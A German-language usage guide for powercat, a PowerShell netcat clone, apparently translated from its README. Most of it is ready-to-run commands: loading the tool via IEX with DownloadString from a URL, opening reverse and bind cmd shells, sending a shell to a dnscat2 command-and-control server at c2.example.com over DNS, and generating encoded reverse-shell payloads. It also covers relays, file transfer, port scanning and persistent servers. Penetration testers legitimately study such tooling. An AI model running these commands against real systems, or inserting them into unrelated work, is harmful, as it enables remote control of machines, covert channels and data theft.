
netshell bietet alle Funktionen in Version 2 von PowerShell
Netcat: Die PowerShell-Version. (PowerShell Version 2 und höher unterstützt)
powercat ist eine PowerShell-Funktion. Zuerst muss die Funktion geladen werden, bevor sie ausgeführt werden kann. Sie können einen der folgenden Befehle in Ihr PowerShell-Profil einfügen, damit powercat automatisch geladen wird, wenn PowerShell startet.
Die Funktion aus einer heruntergeladenen .ps1-Datei laden:
. .\powercat.ps1
Die Funktion von einer URL laden:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
-l Auf eine Verbindung lauschen. [Switch]
-c Mit einem Listener verbinden. [String]
-p Der zu verwendende Port (Verbinden oder Lauschen). [String]
-e Ausführen. (GAPING_SECURITY_HOLE) [String]
-ep PowerShell ausführen. [Switch]
-r Relay. Format: "-r tcp:10.1.1.1:443" [String]
-u Daten über UDP übertragen. [Switch]
-dns Daten über DNS (dnscat2) übertragen. [String]
-dnsft DNS-Fehlerschwellenwert. [int32]
-t Timeout-Option. Standard: 60 [int32]
-i Eingabe: Dateipfad (String), Byte-Array oder String. [object]
-o Konsolenausgabetyp: "Host", "Bytes" oder "String". [String]
-of Ausgabedateipfad. [String]
-d Nach Verbindungsaufbau trennen. [Switch]
-rep Repeater. Nach Trennung neu starten. [Switch]
-g Payload generieren. [Switch]
-ge Kodierten Payload generieren. [Switch]
-h Hilfemeldung anzeigen. [Switch]
Standardmäßig liest powercat die Eingabe von der Konsole und schreibt die Ausgabe mit write-host auf die Konsole. Sie können den Ausgabetyp mit -o auf 'Bytes' oder 'String' ändern.
Basis-Client:
powercat -c 10.1.1.1 -p 443
Basis-Listener:
powercat -l -p 8000
Basis-Client, Ausgabe als Bytes:
powercat -c 10.1.1.1 -p 443 -o Bytes
Mit powercat können Dateien mithilfe von -i (Eingabe) und -of (Ausgabedatei) hin- und hergesendet werden.
Datei senden:
powercat -c 10.1.1.1 -p 443 -i C:\inputfile
Datei empfangen:
powercat -l -p 8000 -of C:\inputfile
Mit powercat können Shells gesendet und bereitgestellt werden. Geben Sie mit -e eine ausführbare Datei an, oder verwenden Sie -ep, um PowerShell auszuführen.
Eine cmd-Shell bereitstellen:
powercat -l -p 443 -e cmd
Eine cmd-Shell senden:
powercat -c 10.1.1.1 -p 443 -e cmd
Eine Shell bereitstellen, die PowerShell-Befehle ausführt:
powercat -l -p 443 -ep
powercat unterstützt mehr als nur die Datenübertragung über TCP. Geben Sie -u an, um den UDP-Modus zu aktivieren. Daten können auch mit -dns an einen dnscat2-Server gesendet werden. Stellen Sie sicher, dass Sie "-e open --no-cache" hinzufügen, wenn Sie den dnscat2-Server ausführen.
Daten über UDP senden:
powercat -c 10.1.1.1 -p 8000 -u
powercat -l -p 8000 -u
Mit dem dnscat2-Server auf c2.example.com über den DNS-Server 10.1.1.1 verbinden:
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Eine Shell an den dnscat2-Server auf c2.example.com über den Standard-DNS-Server von Windows senden:
powercat -dns c2.example.com -e cmd
Relays in powercat funktionieren genau wie traditionelle Netcat-Relays, Sie müssen jedoch keine Datei erstellen oder einen zweiten Prozess starten. Sie können Daten auch zwischen Verbindungen unterschiedlicher Protokolle weiterleiten.
TCP-Listener zu TCP-Client-Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
TCP-Listener zu UDP-Client-Relay:
powercat -l -p 8000 -r udp:10.1.1.16:53
TCP-Listener zu DNS-Client-Relay:
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
TCP-Listener zu DNS-Client-Relay mit dem Windows-Standard-DNS-Server:
powercat -l -p 8000 -r dns:::c2.example.com
TCP-Client zu Client-Relay:
powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
TCP-Listener zu Listener-Relay:
powercat -l -p 8000 -r tcp:9000
Payloads, die eine bestimmte Aktion ausführen, können mit -g (Payload generieren) und -ge (Kodierten Payload generieren) erzeugt werden. Kodierte Payloads können mit powershell -E ausgeführt werden. Sie können diese verwenden, wenn Sie nicht das gesamte powercat nutzen möchten.
Einen Reverse-TCP-Payload generieren, der eine Verbindung zu 10.1.1.15 Port 443 herstellt:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Einen kodierten Bind-TCP-Befehl generieren, der auf Port 8000 lauscht:
powercat -l -p 8000 -e cmd -ge
powercat kann auch für Portscans und zum Starten persistenter Server verwendet werden.
Einfacher TCP-Portscanner:
(21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
Einen persistenten Server starten, der eine Datei bereitstellt:
powercat -l -p 443 -i C:\inputfile -rep